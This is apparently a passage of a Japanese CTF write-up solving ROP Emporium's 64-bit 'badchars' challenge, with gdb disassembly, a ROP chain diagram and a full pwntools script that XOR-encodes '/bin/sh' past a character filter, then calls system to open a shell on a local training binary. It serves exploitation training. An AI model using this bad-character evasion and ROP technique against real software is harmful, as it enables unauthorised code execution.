   0x0000000000400ab0 <+112>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400ab4 <+116>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400ab8 <+120>:	add    rax,rdx
   0x0000000000400abb <+123>:	mov    BYTE PTR [rax],0xeb
   0x0000000000400abe <+126>:	jmp    0x400acc <checkBadchars+140>
   0x0000000000400ac0 <+128>:	add    QWORD PTR [rbp-0x10],0x1
   0x0000000000400ac5 <+133>:	cmp    QWORD PTR [rbp-0x10],0x7
   0x0000000000400aca <+138>:	jbe    0x400a90 <checkBadchars+80>
   0x0000000000400acc <+140>:	add    QWORD PTR [rbp-0x8],0x1
   0x0000000000400ad1 <+145>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400ad5 <+149>:	cmp    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ad9 <+153>:	jb     0x400a86 <checkBadchars+70>
   0x0000000000400adb <+155>:	nop
   0x0000000000400adc <+156>:	pop    rbp
   0x0000000000400add <+157>:	ret    
End of assembler dump.
gdb-peda$ 
```

\<checkBadchars +12>から\<checkBadchars +40>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
\<checkBadchars +108>でstackに積んだBadcharsと入力文字を比較している。

gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力では`bintest`を入力値としたが、badcharが0xebになっている

```
gdb-peda$ c
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> bintest
```


```
[-------------------------------------code-------------------------------------]
   0x4009c1 <pwnme+204>:	add    rcx,0x10
   0x4009c5 <pwnme+208>:	mov    rsi,rax
   0x4009c8 <pwnme+211>:	mov    rdi,rcx
=> 0x4009cb <pwnme+214>:	call   0x400740 <memcpy@plt>
   0x4009d0 <pwnme+219>:	mov    rax,QWORD PTR [rbp-0x28]
   0x4009d4 <pwnme+223>:	mov    rdi,rax
   0x4009d7 <pwnme+226>:	call   0x4006d0 <free@plt>
   0x4009dc <pwnme+231>:	nop
Guessed arguments:
arg[0]: 0x7fffffffe100 --> 0x0 
arg[1]: 0x602260 --> 0xa74eb6574ebebeb 
arg[2]: 0x8 
arg[3]: 0x7fffffffe100 --> 0x0 
```


write4の問題では`system(/bin/sh)`を呼び出すためにpayloadに`/bin/sh`の文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。

>[Moar](https://ejje.weblio.jp/content/moar) XOR

作成したROPは以下の通り処理を行う。
1. メモリ上に`'/bin/sh' ^ 0xff`の値を格納する。
2. `('/bin/sh' ^ 0xff) ^ 0xff`を1文字ずつ計算し、メモリ上に`/bin/sh`の文字を作成する。
[XOR](http://softwaretechnique.jp/OS_Development/Tips/IA32_Instructions/XOR.html)では第一引数に処理結果が格納される。
3. 作成した`/bin/sh`を引数としてsystemを実行する。

```
+--------------------+
|       dummy        |
+--------------------+
| pop r12 ; pop r13  |
+--------------------+
|  /bin/sh ^ f0xff   |
+--------------------+
|    write address   |
+--------------------+
|    mov [r13],r12   |
+--------------------+

+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|    write address   |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +1  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +2  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +3  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +4  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|         0xff       |
+--------------------+
|  write address +5  |
+--------------------+
|   xor [r15] r14b   |
+--------------------+

+--------------------+
|        pop rdi     |
+--------------------+
|    write address   |
+--------------------+
|      system@plt    |
+--------------------+
```

`/bin/sh`を書き込むメモリのアドレスをどこにするかは[write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)を参考にして決定。

```
gdb-peda$ readelf
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002c8
.dynstr = 0x400448
.gnu.version = 0x4004e0
.gnu.version_r = 0x400500
.rela.dyn = 0x400530
.rela.plt = 0x400590
.init = 0x400698
.plt = 0x4006c0
.plt.got = 0x400780
.text = 0x400790
.fini = 0x400bc4
.rodata = 0x400bd0
.eh_frame_hdr = 0x400c38
.eh_frame = 0x400c90
.init_array = 0x600e10
.fini_array = 0x600e18
.jcr = 0x600e20
.dynamic = 0x600e28
.got = 0x600ff8
.got.plt = 0x601000
.data = 0x601070
.bss = 0x601080
gdb-peda$ 
```

```
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/root/ROP_Emporium/badchars/badchars
0x00600000         0x00601000         r--p	/root/ROP_Emporium/badchars/badchars
0x00601000         0x00602000         rw-p	/root/ROP_Emporium/badchars/badchars
0x00007ffff7df6000 0x00007ffff7e1b000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e1b000 0x00007ffff7f62000 r-xp	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f62000 0x00007ffff7fab000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fab000 0x00007ffff7fac000 ---p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 rw-p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 rw-p	mapped
0x00007ffff7fd1000 0x00007ffff7fd4000 r--p	[vvar]
0x00007ffff7fd4000 0x00007ffff7fd5000 r-xp	[vdso]
0x00007ffff7fd5000 0x00007ffff7fd6000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd6000 0x00007ffff7ff4000 r-xp	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
gdb-peda$ 
```

書き込み権限があるbss領域をwrite addressとして使用する。

```python
from pwn import *

conn = process('./badchars')

system_addr=0x4006f0  # system@plt
xor_addr=0x400b30 # xor    BYTE PTR [r15],r14b ; ret
mov_r13_r12_addr=0x400b34 # mov    QWORD PTR [r13+0x0],r12 ; ret
pop_rdi_addr=0x400b39 # pop rdi ; ret 
pop_r12_r13_addr=0x400b3b # pop r12 ; pop r13 ; ret
pop_r14_r15_addr=0x400b40 # pop r14 ; pop r15 ; ret
write_mem_addr=0x6010f0



payload = 'A'*40

payload += p64(pop_r12_r13_addr)
payload += '\xd0\x9d\x96\x91\xd0\x8ch\x00'
payload += p64(write_mem_addr)
payload += p64(mov_r13_r12_addr)


payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+1)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+2)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+3)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+4)
payload += p64(xor_addr)

payload += p64(pop_r14_r15_addr)
payload += p64(0xff)
payload += p64(write_mem_addr+5)
payload += p64(xor_addr)

payload += p64(pop_rdi_addr)
payload += p64(write_mem_addr)
payload += p64(system_addr)

conn.sendline(payload)
conn.interactive()
```

```
# python ./badchars.py 
[+] Starting local process './badchars': pid 6280
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> $ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
```